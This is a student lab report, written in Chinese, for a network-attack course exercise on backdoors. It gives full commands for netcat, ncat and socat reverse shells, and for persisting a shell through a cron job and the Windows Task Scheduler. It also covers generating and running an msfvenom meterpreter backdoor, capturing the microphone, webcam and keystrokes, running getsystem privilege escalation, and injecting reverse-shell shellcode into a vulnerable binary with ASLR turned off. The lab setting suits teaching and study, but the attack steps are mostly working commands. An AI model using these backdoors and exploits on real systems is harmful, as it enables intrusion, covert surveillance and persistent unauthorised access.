2019-2020-2 20175309刘雨恒 《网络对抗技术》EXP2后门原理与实践
一、实验任务
1.实验内容
(1)使用netcat获取主机操作Shell,cron启动。
(2)使用socat获取主机操作Shell, 任务计划启动。
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.基础知识
后门定义:
·后门就是不经过正常认证流程而访问系统的通道。
后门存在于:
·编译器留后门
·操作系统留后门
·最常见的当然还是应用程序中留后门
·还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
二、实验步骤
1.使用netcat获取主机操作Shell,cron启动
1.1 Windows获得Linux主机操作shell
·windows中win+r
输入cmd
打开终端,输入ipconfig
查看windows的IP地址
·可以看到windows的IP地址为192.168.33.1
·关闭windows防火墙,在linux端ping192.168.33.1,保证两台机器能ping的通
·进入ncat.exe的目录下,输入命令ncat.exe -l -p 5309
打开监听。
·linux使用命令nc 192.168.33.1 5309 -e /bin/sh
反弹连接windows。
·这时windows已经可以运行linux的指令了,比如pwd
,ls
1.2Linux获得Windows主机操作shell
·打开Linux终端,输入ifconfig
查看linux的IP地址
·可以看到linux的IP地址为192.168.95.128
·linux端输入命令nc -l -p 5309
打开监听。
·windows端使用命令ncat.exe -e cmd.exe 192.168.95.128 5309
反弹连接linux。
·linux获得windows的主机操作shell
1.3corn启动
·linux使用命令crontab -e
并选择3进入编辑模式
·在最后一行添加40 * * * * /bin/netcat 192.168.1.4 5334 -e /bin/sh
,意思是在每个小时的第40分钟执行后面的指令。(这个数字可以修改)
·等到某点40分,重复上面1.1的步骤,成功建立连接,双方可传递数据或者聊天。
2.使用socat获取主机操作Shell, 任务计划启动。
·右键windows的计算机,点击管理
-->任务计划程序
-->创建任务
·设置你的专属任务名称
·进入操作页面,程序与脚本
中选择socat的路径
·添加参数
一栏填入tcp-listen:5309 exec:cmd.exe,pty,stderr
·进入触发器界面,自定义触发时间
·到了13:52,socat自动触发了
·linux使用命令socat -tcp:192.168.95.1:5309
连接windows,就可以获得windows的主机操作shell了。
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shel
·linux使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 -f exe > backdoor5309.exe
来生成后门程序
·windows使用命令ncat.exe lv 5309 > backdoor5309.exe
来查看连接状态。
·linux使用命令nc 192.168.95.1 5309 < backdoor5309.exe
传输后门程序。
·传输成功。
·linux使用msfconsole
命令进入msf控制台,输入下面这些命令。
use exploit/multi/handler//使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp//使用和生成后门程序时相同的payload
set LHOST 192.168.95.128//此处为linux的IP地址
set LPORT 5309//使用相同的端口
show options//查看设置
·linux入exploit
开始监听。
·windows中运行后门程序,成功获得windows的主机操作shel,输入dir
可以验证
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
·linux使用record_mic
命令截取一段音频
·linux使用webcam_snap
命令获取摄像头拍摄内容
·linux使用keyscan_start
命令记录击键的过程,使用keyscan_dump
命令读取击键记录
·linux使用screenshot
命令截屏
·linux使用getuid
命令查看当前用户,使用getsystem
命令进行提权操作。
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
·在官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)
这个文件
·提取其中的机器码留作备用\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
·linux中使用命令echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化。
·使用命令perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
将perl生成的字符串储存到input_shellcode中。
·使用命令(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf。
·再打开另外一个终端使用命令ps -ef | grep pwn1
找到pwn1的进程号:3056。
·启动gdb调试,输入attach 3056
。
·使用命令disassemble foo
,查看ret的地址,之后设置断点。
·在另一个终端按下回车。
·返回到这个终端,输入c
继续运行。
·使用命令info r esp
查看栈指针的位置。
·发现数据是0*ffffd2fc
,那么我所需要修改成0*ffffd2fc+4=0*ffffd300
·打开一个终端使用命令msfconsole
打开msf控制台,输入以下命令。
use exploit/multi/handler//设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1//设置ip
set LPORT 4444//设置端口
show options//查看选项
exploit //设置完成,开始监听
·在另一终端使用命令cat input_shellcode;cat) | ./pwn1
运行pwn1,可以看出来已经成功调取了shell。
三、实验中遇到的问题。
linux中输入ifconfig
命令显示未找到命令。
解决办法:输入命令export PATH=$PATH:/sbin
即可。(不过貌似下次开机后就不好使了,还得重新设置一遍)
四、基础问题回答。
1.例举你能想到的一个后门进入到你系统中的可能方式?
答:下载了第三方软件,尤其是有被迫捆绑下载的那种。
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:任务定时启动。
3.Meterpreter有哪些给你映像深刻的功能?
答:获取摄像头,点开照片突然看到自己的脸的时候还是挺恐怖的。
4.如何发现自己有系统有没有被安装后门?
答:杀毒软件查杀、防火墙提醒等等。
五、实验心得。
难度并不难,但是很费时间,两个主机来回切换输入双方的IP地址搞得人晕头转向,不过大概晓得了后门程序的使用。最后一个加分项还用到了第一次的实验,万幸第一次实验做了3、4遍比较熟悉,要不然光按回车和地址加4就够折磨人的了。